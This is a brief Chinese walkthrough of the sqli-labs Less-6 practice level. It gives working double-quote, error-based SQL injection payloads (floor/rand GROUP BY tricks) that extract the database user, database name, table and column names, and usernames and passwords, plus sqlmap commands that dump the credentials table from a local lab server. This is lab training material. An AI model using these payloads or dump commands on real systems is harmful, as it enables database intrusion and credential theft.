HackBar
观察页面
注入id=1
有正常的回显
判断注入点
注入id=1’
正常回显了,说明跟单引号的闭合没有关系
注入id=1"
报错了,查看报错的信息,发现这个注入点跟双引号的闭合有关系
判断字段数
?id=1" order by 4 --+
说明字段数为3
爆数据库用户
?id=-1" union select 1,count(*),concat((select user()),floor(rand()*9))as a from information_schema.tables group by a--+
爆数据库名
?id=1" union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+
爆数据库的数据表
?id=1" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*9))as a from information_schema.tables group by a--+
爆数据库的数据表中的列名
?id=-1" union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
ps:如果出现了正常回显,可能是还没有将信息注入,多按Execute就可以了
爆数据库的数据表中的字段名
?id=-1" union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
sqlmap
sqlmap -u "http://0.0.0.0:8088/Less-6//?id=1" -batch
爆数据库名
sqlmap -u "http://0.0.0.0:8088/Less-6//?id=1" -batch -dbs
爆数据表的字段
sqlmap -u "http://0.0.0.0:8088/Less-6//?id=1" -batch -T users --columns
爆数据库的所有内容
sqlmap -u "http://0.0.0.0:8088/Less-6//?id=1" -batch -D security -T users -C username,password -dump